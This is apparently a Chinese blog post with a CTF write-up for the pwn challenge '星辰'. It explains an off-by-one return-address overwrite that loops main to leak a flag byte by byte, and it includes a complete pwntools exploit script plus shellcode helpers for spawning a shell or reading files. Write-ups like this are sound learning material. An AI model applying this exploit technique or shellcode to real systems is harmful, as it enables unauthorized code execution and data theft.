haoo's tech blog ~/star-blog

post / CTF

?CTF_2026

4677 字 约 11 分钟 ?CTF-2026/

Pwn

星辰

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char buf; // [rsp+Fh] [rbp-41h] BYREF
_BYTE buf_[60]; // [rsp+10h] [rbp-40h] BYREF
int v6; // [rsp+4Ch] [rbp-4h]

sub_1209(a1, a2, a3);
puts("Welcome to the program!");
puts("Do you want to see the content of the flag?");
puts("I can open and read the flag for you.");
v6 = open("flag", 0);
if ( v6 < 0 )
{
perror("open");
exit(1);
}
read(3, &buf, 1u);
puts("Here is the content of the document, but just one byte:");
printf("%c\n", (unsigned int)buf);
puts("Do you like it?");
read(0, buf_, 0x49u);
return 0;
}

存在off-by-one漏洞,可以覆盖返回地址的最低字节。需要注意的是open了flag文件后并没有关闭,而且是read(3, &buf, 1u),说明如果能够一直循环执行main函数,最后就能够输出完整的flag。那么关键点就来了,怎么修改一字节从而能够返回到main函数。

main函数并不是_start函数直接调用的,而是经过:

_start → __libc_start_main → __libc_start_call_main → call rax 调 main

使用objdump看一下libc.so.6文件

haoo@LAPTOP-QH6DKIQF:/mnt/d/国内赛/?CTF_2026/星辰$ objdump -d -M intel --start-address=0x29d10 --stop-address=0x29d9a ./libc.so.6

./libc.so.6: file format elf64-x86-64


Disassembly of section .text:

0000000000029d10 <__libc_init_first@@GLIBC_2.2.5+0x10>:
29d10: 50 push rax
29d11: 58 pop rax
29d12: 48 81 ec 98 00 00 00 sub rsp,0x98
29d19: 48 89 7c 24 08 mov QWORD PTR [rsp+0x8],rdi
29d1e: 48 8d 7c 24 20 lea rdi,[rsp+0x20]
29d23: 89 74 24 14 mov DWORD PTR [rsp+0x14],esi
29d27: 48 89 54 24 18 mov QWORD PTR [rsp+0x18],rdx
29d2c: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28
29d33: 00 00
29d35: 48 89 84 24 88 00 00 mov QWORD PTR [rsp+0x88],rax
29d3c: 00
29d3d: 31 c0 xor eax,eax
29d3f: e8 9c 84 01 00 call 421e0 <_setjmp@@GLIBC_2.2.5>
29d44: f3 0f 1e fa endbr64
29d48: 85 c0 test eax,eax
29d4a: 75 4b jne 29d97 <__libc_init_first@@GLIBC_2.2.5+0x97>
29d4c: 64 48 8b 04 25 00 03 mov rax,QWORD PTR fs:0x300
29d53: 00 00
29d55: 48 89 44 24 68 mov QWORD PTR [rsp+0x68],rax
29d5a: 64 48 8b 04 25 f8 02 mov rax,QWORD PTR fs:0x2f8
29d61: 00 00
29d63: 48 89 44 24 70 mov QWORD PTR [rsp+0x70],rax
29d68: 48 8d 44 24 20 lea rax,[rsp+0x20]
29d6d: 64 48 89 04 25 00 03 mov QWORD PTR fs:0x300,rax
29d74: 00 00
29d76: 48 8b 05 3b 02 1f 00 mov rax,QWORD PTR [rip+0x1f023b] # 219fb8 <__environ@@GLIBC_2.2.5-0x8248>
29d7d: 8b 7c 24 14 mov edi,DWORD PTR [rsp+0x14]
29d81: 48 8b 74 24 18 mov rsi,QWORD PTR [rsp+0x18]
29d86: 48 8b 10 mov rdx,QWORD PTR [rax]
29d89: 48 8b 44 24 08 mov rax,QWORD PTR [rsp+0x8]
29d8e: ff d0 call rax
29d90: 89 c7 mov edi,eax
29d92: e8 59 b8 01 00 call 455f0 <exit@@GLIBC_2.2.5>
29d97: e8 .byte 0xe8
29d98: 14 78 adc al,0x78

从这里我们知道main函数的返回地址为libc_base + 0x29d90,覆盖最低字节,最后返回地址只能落在libc_base + 0x29dxx,因此我们选择0x29d76这一位置,因为从这里开始,它会从栈上重新获取argc/argv/environ和main指针,也就说重新执行main函数。将最低字节改为0x76,并每次接收一字节的flag,如此循环,最后就得到了完整的flag了。exp如下:

#导入所需库
#--------------------------------------------------------------------------------
from pwn import*
from LibcSearcher import*
from ctypes import*
from struct import*
import time

#设置context
#--------------------------------------------------------------------------------
context(arch='amd64', os='linux', log_level='debug')#, terminal=['tmux', 'splitw', '-h'])

#设置是否本地还是远程,并操作、解析相应文件
#--------------------------------------------------------------------------------
pwn_file='./pwn'
libc_file='./libc.so.6'
elf=ELF(pwn_file)
libc=ELF(libc_file)
rop=ROP(libc)

flag=0
if flag:
io=process(pwn_file)
else:
ip='nc1.ctfplus.cn'
port=16252
io=remote(ip,port)

#设置自定义函数
#--------------------------------------------------------------------------------
#gdb调试
def debug():
#gdb.attach(io)
#gdb.attach(io,'b *$rebase(0x1234)')
#gdb.attach(io,'b main')
pause()
#lambda表达式
s = lambda data : io.send(data)
sa = lambda delim,data : io.sendafter(str(delim), data)
sl = lambda data : io.sendline(data)
sla = lambda delim,data : io.sendlineafter(str(delim), data)
r = lambda num : io.recv(num)
rl = lambda : io.recvline()
ru = lambda delims, drop = True : io.recvuntil(delims, drop)
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00'))
ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00'))
uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu64 = lambda data : u64(data.ljust(8,b'\x00'))
i32 = lambda data : int(io.recv(data), 16)
i64 = lambda data : int(io.recv(data), 16)
ioi = lambda : io.interactive()
#获取libc函数地址
def libc_func_addr(base,func):
return base+libc.sym['func']
#简单的shellcode+orw
def shell():
return asm(shellcraft.sh())
def orw(flag_file_name,addr,count):
return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count))

payload = b"\x76" * 0x49
flag = ""
for _ in range(68):
ru("Here is the content of the document, but just one byte:\n")
flag += io.recv(1).decode()
s(payload)
print(flag)
#连接
#--------------------------------------------------------------------------------
ioi()

PaperShell

↑↓ 选择 ↵ 打开 Esc 关闭 输入关键词检索全文,或直接选择页面